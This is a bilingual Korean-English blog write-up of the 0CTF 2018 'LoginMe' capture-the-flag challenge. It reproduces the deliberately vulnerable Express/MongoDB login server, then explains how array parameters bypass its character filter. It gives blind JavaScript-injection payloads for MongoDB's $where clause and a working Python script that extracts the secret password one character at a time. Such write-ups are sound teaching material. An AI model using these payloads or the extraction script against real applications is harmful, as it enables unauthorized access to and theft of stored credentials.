0ctf 2018 - LoginMe Writeup

2018. 4. 10. 14:21


0CTF2018 - LoginMe




참가는 못했지만 나중에 접속해서 0ctf 2018 문제중 하나인 LoginMe 를 풀어보았다.

I didn't participate but I tried to solve LoginMe which is one of 0ctf 2018 tasks.



https://ctf.0ops.sjtu.cn/login#task-28





웹 로그인 창 하나가 주어지고, 소스코드도 주어졌다. 

web login window is given, and the source code is given.



# loginme.js


var express = require('express') var app = express() var bodyParser = require('body-parser') app.use(bodyParser.urlencoded({})); var path = require("path"); var moment = require('moment'); var MongoClient = require('mongodb').MongoClient; var url = "mongodb://localhost:27017/"; MongoClient.connect(url, function(err, db) { if (err) throw err; dbo = db.db("test_db"); var collection_name = "users"; var password_column = "password_"+Math.random().toString(36).slice(2) var password = "xxxxxxxxxxxxxxxxxxxxxx"; // flag is flag{password} var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')}; myobj[password_column] = password; dbo.collection(collection_name).remove({}); dbo.collection(collection_name).update( { name: myobj.name }, myobj, { upsert: true } ); app.get('/', function (req, res) { res.sendFile(path.join(__dirname,'index.html')); }) app.post('/check', function (req, res) { var check_function = 'if(this.username == #username# && #username# == "admin" &&

hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}'; for(var k in req.body){ var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); if(!valid) res.send('Nope'); check_function = check_function.replace( new RegExp('#'+k+'#','gm') ,JSON.stringify(req.body[k])) } var query = {"$where" : check_function}; var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}} dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){ if(e) throw e; res.send('ok'); // ... implementing, plz dont release this. }); }) app.listen(8081) });





코드를 보면 node js 의 웹 프레임워크인 express 를 이용한 웹 서버임을 알 수 있다. 코드중 중요한 부분은 아래와 같다.

web server using express module, the web framework of node js. An important part of the code is:




1) password 칼럼명이 랜덤하게 바뀜

    password column name changes randomly


    ex)

    this.password_qqxnativaup

    this.password_kt1g716pi4






2) 내가 입력한 request 변수와 값을 이용해서 nodejs 코드가 동적으로 만들어진 후 실행됨

     nodejs code is dynamically created and executed using the request variable and value I entered


  for(var k in req.body){
            var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
            if(!valid) res.send('Nope');
            check_function = check_function.replace(
                new RegExp('#'+k+'#','gm')
                ,JSON.stringify(req.body[k])) 
}



ex) (POST) username=admin&password=123  로 전송하면 아래와 같이 동적으로 구문을 만들어줌

        send "username=admin&password=123",  server dynamically generates the code as shown below.


- for 문을 돌면서 차례대로 #username# => admin,  #password# => 123 으로 입력

    after running for loop #username# => admin,  #password# => 123


k:username

if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_qqxnativaup){

return 1;

}else{

return 0;}


k:password

if(this.username == "admin" && "admin" == "admin" && hex_md5("123") == this.password_qqxnativaup){

return 1;

}else{

return 0;}








결론적으로 입력값에 # 을 삽입하면 저 구문을 꼬이게 할 수 있다는 뜻이다. 

In conclusion, it's possible inserting '#' in the input value to attack.


하지만 소스상에서 #, ), ( 문자는 아래 소스코드에 의해 필터링이 되고 있다.

but  #, ), (  characters are filtered by the source code below.


var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});




이 필터링은 배열로 값을 보내면 우회가 가능하다. ( username[] = 123 )

filter can be bypassed by sending an array instead of a value.






다양한 삽질 끝에 아래와 같은 방식으로 SQLi 처럼 Blind 방식의 node js 코드 인젝션이 가능함을 확인했다.

After various attempts, I confirmed that node.js code injection of blind method like SQLi is possible in the following way.


 True:

 username[]=admin#test&test.*md5.[]=] || 'a'=='a' ? 1 : alert() || (#pass&pass.*=test&password=555


 False:

 username[]=admin#test&test.*md5.[]=] || 'a'=='b' ? 1 : alert() || (#pass&pass.*=test&password=555






참일 때는 에러가 나지 않도록 하고, 거짓일 때는 alert(없는 메소드라고 에러발생) 을 이용해서 에러를 발생시켰다.

If true no error, if false an error is output.


아래처럼 입력한 자바스크립트 구문이 참일 때만 ok 가 오고, 거짓일땐 서버 에러가 발생해서 응답이 오지 않는다.

It only be 'ok' if the JavaScript syntax is true, and if it is false, get a server error and no response.






이제 스크립트를 작성해서 플래그를 한글자씩 뽑아오면 끝!

Now, write a simple python script and get the flags one by one!




# exploit_loginme.py


#!/usr/bin/python
from socket import *
import time

#target = ('202.120.7.194', 8081)
target = ('127.0.0.1', 8081)


def request(p):
    c = socket(AF_INET, SOCK_STREAM)
    try:
        c.connect(target)
    except:
        time.sleep(0.2)
        c.connect(target)

    req = '''POST /check HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Length: {}
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

{}

'''.format(len(p)+2,p)
    #print req
    c.send(req)
    res = c.recv(300)
    #print res
    try:
        t = res.index('ok')
        return True
    except:
        return False

### flag length - 32
#param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].length == 32 ? 1 : alert() || (#pass&pass.*=test'
#print request(param)

### flag
flag = ''
for i in range(32):
    for j in range(48,127):
        param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].substr({},1).charCodeAt() == {} ? 1 : alert() || (#pass&pass.*=test'.format(i,j)
        print "[*] trying.." + param
        if request(param):
            print '\n=================='
            print chr(j)
            flag += chr(j)
            print '\n=================='
            break
        time.sleep(0.4)

print "[+] flag: \nflag{" + flag + "}"




끝!

the end!



ps. node js 를 CTF 때만 간혹 보고 거의 안써봐서 조금 헷갈렸던 문제였다..공부해야지!




'CTF Writeup' 카테고리의 다른 글

Google CTF 2017 ascii art writeup  (0) 2018.04.18
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28

+ Recent posts